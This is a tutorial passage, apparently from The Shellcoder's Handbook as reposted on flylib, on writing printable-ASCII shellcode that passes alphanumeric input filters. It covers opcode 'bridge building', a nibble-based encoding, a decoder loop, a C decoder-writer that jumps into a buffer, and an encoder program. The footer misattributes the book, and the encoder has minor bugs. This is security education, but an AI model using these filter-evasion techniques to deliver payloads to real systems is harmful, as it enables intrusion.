Writing Exploits for Use with an Alphanumeric Filter

Writing Exploits for Use with an Alphanumeric Filter

In the recent past, we've seen several situations in which exploit code needed to be printable ASCII in nature; that is, each byte must lie between A and Z ( 0x41 to 0x5A ), a and z ( 0x61 to 0x7A ) or 0 and 9 ( 0x30 to 0x39 ). This kind of shellcode was first documented by Riley "Caezar" Eller in his paper "Bypassing MSB Data Filters for Buffer Overflows" (August 2000). While the shellcode in Caezar's paper only allows for any character between 0x20 and 0x7F , it is a good starting point for those interested in overcoming such limitations.

The basic technique uses opcodes with alphanumeric bytes to write your real shellcode. This is known as bridge building . For example, if we wanted to execute a call eax instruction ( 0xFF 0xD0) , then we'd need to write the following out to the stack:

 push        30h (6A 30)    // Push 0x00000030 onto the stack pop         eax  (58)      // Pop it into the EAX register xor         al,30h (34 30) // XOR al with 0x30. This leaves 0x00000000 in EAX. dec         eax (48)    // Take 1 off the EAX leaving 0xFFFFFFFF xor         eax,7A393939h (35 39 39 39 7A) // This XOR leaves 0x85C6C6C6 in EAX. xor         eax,55395656h (35 56 56 39 55) // and this leaves 0xD0FF9090 in EAX push        eax (50)    // We push this onto the stack. 

This looks finewe can use similar methods to write our real shellcode. But we have a problem. We're writing our real code to the stack, and we'll need to jump to it or call it. Since we can't directly execute a pop esp instruction, because it has a byte value of 0x5C (the backslash character), how will we manipulate ESP ? Remember that we need to eventually join the code that writes the real exploit with that same exploit. This means that ESP must have a higher address than the one from which we're currently executing. Assuming a classic stack-based buffer overrun where we begin executing at ESP , we could adjust ESP upwards with an INC ESP (0x44) . However, this does us no good, because INC ESP adjusts ESP by 1, and the INC ESP instruction takes 1 byte so that we're constantly chasing it. No, what we need is an instruction that adjusts ESP in a big way.

Here is where the popad instruction becomes useful. popad (the opposite of pushad ) takes the top 32 bytes from ESP and pops them into the registers in an orderly fashion. The only register popad that doesn't update directly by popping a value off the stack into the register is ESP . ESP adjusts to reflect that 32 bytes have been removed from the stack. In this way, if we're currently executing at ESP , and we execute popad a few times, then ESP will point to a higher address than the one at which we're currently executing. When we start pushing our real shellcode onto the stack, the two will meet in the middlewe've built our bridge.

Doing anything useful with the exploit will require a large number of similar hacks. In the call eax example above, we've used 17 bytes of alphanumeric shellcode to write out 4 bytes of "real" shellcode. If we use a portable Windows reverse shell exploit that requires around 500 bytes, our alphanumeric version will be somewhere in excess of 2000 bytes. What's more, writing it will be a pain; and then if we want to write another exploit that does something more than a reverse shell, we must do the same thing again from scratch. Can we do anything to rectify this issue? The answer is, of course, yes, and comes in the form of a decoder.

If we write our real exploit first and then encode it, then we need only to write a decoder in ASCII that decodes and then executes the real exploit. This method requires you to write only a small amount of ASCII shellcode once and reduces the overall size of the exploit. What encoding mechanism should we use? The Base64 encoding scheme seems like a good candidate. Base64 takes 3 bytes and converts them to 4 printable ASCII bytes, and is often used as a mechanism for binary file transfers. Base64 would give us an expansion ratio of 3 bytes of real shellcode to 4 bytes of encoded shellcode. However, the Base64 alphabet contains some non-alphanumeric characters , so we'll have to use something else. A better solution would be to come up with our own encoding scheme with a smaller decoder. For this I'd suggest Base16, a variant of Base64. Here's how it works.

Split the 8-bit byte into two 4-bit bytes. Add 0x41 to each of these 4 bits. In this way, we can represent any 8-bit byte as 2 bytes both with a value between 0x41 and 0x50 . For example, if we have the 8-bit byte 0x90 ( 10010000 in binary), we split it into two 4-bit sections, giving us 1001 and 0000. We then add 0x41 to both, giving us 0x4A and 0x41 a J and an A .

Our decoder does the opposite; it reverses the process. It takes the first character, J (or 0x4A in this case) and then subtracts 0x41 from it. We then shift this left 4 bits, add the second byte, and subtract 0x41 . This leaves us with 0x90 again.

 Here: mov         al,byte ptr [edi]             sub         al,41h             shl         al,4             inc         edi             add         al,byte ptr [edi]             sub         al,41h             mov         byte ptr [esi],al             inc         esi             inc         edi cmp  byte ptr[edi],0x51             jb      here 

This shows the basic loop of the decoder. Our encoded exploit should use only characters A to P , so we can mark the end of our encoded exploit with a Q or greater. EDI points to the beginning of the buffer to decode, as does ESI . We move the first byte of the buffer into AL and subtract 0x41 . Shift this left 4 bits, and then add the second byte of the buffer to AL . Subtract 0x41 . We write the result to ESI reusing our buffer. We loop until we come to a character in the buffer greater than a P . Many of the bytes behind this decoder are not alphanumeric, however. We need to create a decoder writer to write this decoder out first and then have it execute.

Another question is how do we set EDI and ESI to point to the right location where our encoded exploit can be found? Well, we have a bit more to dowe must precede the decoder with the following code to set up the registers:

 jmp B              A: jmp C              B: call A              C: pop         edi              add         edi,0x1C              push edi              pop esi 

The first few instructions get the address of our current execution point ( EIP - 1 ) and then pop this into the EDI register. We then add 0x1C to EDI . EDI now points to the byte after the jb instruction at the end of the code of the decoder. This is the point at which our encoded exploit starts and also the point at which it is written. In this way, when the loop has completed, execution continues straight into our real decoded shellcode. Going back, we make a copy of EDI , putting it in ESI . We'll be using ESI as the reference for the point at which we decode our exploit. Once the decoder to a character greater than P , we break out of the loop and continue execution into our newly decoded exploit. All we do now is write the "decoder writer" using only alphanumeric characters. Execute the following code and you will see the decoder writer in action:

 #include <stdio.h> int main() {      char buffer[400]="aaaaaaaaj0X40HPZRXf5A9f5UVfPh0z00X5JEaBP"                       "YAAAAAAQhC000X5C7wvH4wPh00a0X527MqPh0"                       "0CCXf54wfPRXf5zzf5EefPh00M0X508aqH4uPh0G0"                       "0X50ZgnH48PRX5000050M00PYAQX4aHHfPRX40"                       "46PRXf50zf50bPYAAAAAAfQRXf50zf50oPYAAAfQ"                       "RX5555z5ZZZnPAAAAAAAAAAAAAAAAAAAAAAA"                       "AAAAAAAAAAAAAAAAAAAAAAAAEBEBEBEBEBE"                       "BEBEBEBEBEBEBEBEBEBEBEBEBEBEBQQ";      unsigned int x = 0;      x = &buffer;      __asm{     mov esp,x              jmp esp              }      return 0; } 

The real exploit code to be executed is encoded and then appended to the end of this piece of code. It is delimited with a character greater than P . The code of the encoder follows :

 #include <stdio.h> #include <windows.h>     int main() {     unsigned char   RealShellcode[]="\x55\x8B\xEC\x68\x30\x30\x30\x30\x58\x8B\xE5\x5D\xC3";     unsigned int count = 0, length=0, cnt=0;     unsigned char *ptr = null;     unsigned char a=0,b=0;         length = strlen(RealShellcode);     ptr = malloc((length + 1) * 2);     if(!ptr)         return printf("malloc() failed.\n");     ZeroMemory(ptr,(length+1)*2);     while(count < length)          {         a = b = RealShellcode[count];         a = a >> 4;         b = b << 4;         b = b >> 4;         a = a + 0x41;         b = b + 0x41;         ptr[cnt++] = a;         ptr[cnt++] = b;         count ++;         }     strcat(ptr,"QQ");     free(ptr);     return 0; } 


The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net